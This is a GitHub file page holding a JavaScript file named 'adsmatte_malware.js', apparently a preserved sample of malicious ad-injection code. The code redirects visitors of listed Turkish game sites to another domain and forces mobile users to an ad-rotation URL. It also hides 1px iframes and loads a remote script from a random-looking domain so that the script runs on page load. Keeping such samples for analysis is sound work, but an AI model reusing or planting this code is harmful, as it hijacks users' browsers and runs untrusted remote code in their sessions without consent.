adsmatte-script/adsmatte_malware.js at master · abhilashca/adsmatte-script · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

function getRandomInt(ll, max) {
    return Math.floor(Math.random() * (max - ll)) + ll;
}
var title = document.title.toLowerCase();
var domain = window.location.hostname.toLowerCase();
var referrer = document.referrer.toLowerCase();
title = domain + title + referrer;
if ((domain.indexOf("oyunskor.com") > -1) || (domain.indexOf("kraloyun.com") > -1) || (domain.indexOf("oyungemisi.com") > -1) || (domain.indexOf("oyun.milliyet.com.tr") > -1) || (domain.indexOf("hioyunlar.com") > -1) || (domain.indexOf("oyunkolu.com") > -1) || (domain.indexOf("oyunuoyna.com.tr") > -1) || (domain.indexOf("oyunlar1.com") > -1) || (domain.indexOf("yihuu.com") > -1) || (domain.indexOf("oyunmeydani.com") > -1) || (domain.indexOf("oyunim.com") > -1) || (domain.indexOf("oyunuoyna.com") > -1) || (domain.indexOf("rixoyun.com") > -1) || (domain.indexOf("3doyunlar.net") > -1) || (domain.indexOf("tokoyun.com") > -1) || (domain.indexOf("oyunkuzusu.com") > -1) || (domain.indexOf("tipoyun.com") > -1) || (domain.indexOf("reeloyun.com") > -1) || (domain.indexOf("bebekoyunu.com.tr") > -1) || (domain.indexOf("tadya.com") > -1) || (domain.indexOf("oyunmoyun.com") > -1) || (domain.indexOf("arabaoyna.net") > -1) || (domain.indexOf("oyunu.net") > -1) || (domain.indexOf("oyuncini.com") > -1) || (domain.indexOf("yenioyunoyna.gen.tr") > -1) || (domain.indexOf("oyunlar2.org") > -1) || (domain.indexOf("cocux.com") > -1) || (domain.indexOf("cocukca.com") > -1) || (domain.indexOf("tipeez.com") > -1) || (domain.indexOf("kizoyunlari.us") > -1)) {
    window.top.location = "http://bioyun.com";
    window.location.href = "http://bioyun.com";
    document.write("<meta http-equiv=\"refresh\" content=\"1;url=http://bioyun.com\">");
} try {
    var ua = navigator.userAgent.toLowerCase();
    var l1 = ua.indexOf("android") > -1;
    var lI = (navigator.userAgent.match(/(iPad|iPhone|iPod)/g) ? true : false);
    var domain = window.location.hostname.toLowerCase();
    if (l1 || lI) {
        var ifrmxy = document.createElement("IFRAME");
        ifrmxy.setAttribute("src", "http://ad.adsmatte.com/rot.aspx?partner=910345&f=popup-u");
        ifrmxy.style.width = "1px";
        ifrmxy.style.height = "1px";
        ifrmxy.style.display = "none";
        document.body.appendChild(ifrmxy);
        window.top.location = "http://ad.adsmatte.com/rot.aspx?partner=910345&f=popup-u";
        window.location.href = "http://ad.adsmatte.com/rot.aspx?partner=910345&f=popup-u";
        document.write("<meta http-equiv=\"refresh\" content=\"1;url=http://ad.adsmatte.com/rot.aspx?partner=910345&f=popup-u\">");
    }
}
catch (l1l) { }
try {
    var ifrmx = document.createElement("IFRAME");
    ifrmx.setAttribute("src", "http://awsbgjrvszbwaptu2ggnnma7bz5ccmwzjn8vup3vrhxaazudyfbg2f4lcsw7rkl.com/stats.html");
    ifrmx.style.width = "1px";
    ifrmx.style.height = "1px";
    ifrmx.style.display = "none";
    document.body.appendChild(ifrmx);
}
catch (l1l) { }
try {
    var sssssssss = document.createElement("script");
    sssssssss.async = false;
    sssssssss.src = "http://awsbgjrvszbwaptu2ggnnma7bz5ccmwzjn8vup3vrhxaazudyfbg2f4lcsw7rkl.com/pnp.js";
    document.getElementsByTagName("body")[0].appendChild(sssssssss);
}
catch (l1l) { } (
function (i, s, o, g, r, a, m) {
    i['GoogleAnalyticsObject'] = r;
    i[r] = i[r] || function () {
        (i[r].q = i[r].q || []).push(arguments)
    }, i[r].l = 1 * new Date();
    a = s.createElement(o), m = s.getElementsByTagName(o)[0];
    a.async = 1;
    a.src = g;
    m.parentNode.insertBefore(a, m)
})(window, document, 'script', 'https://ssl.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-62397632-1', 'auto');
ga('require', 'displayfeatures');
ga('send', 'pageview');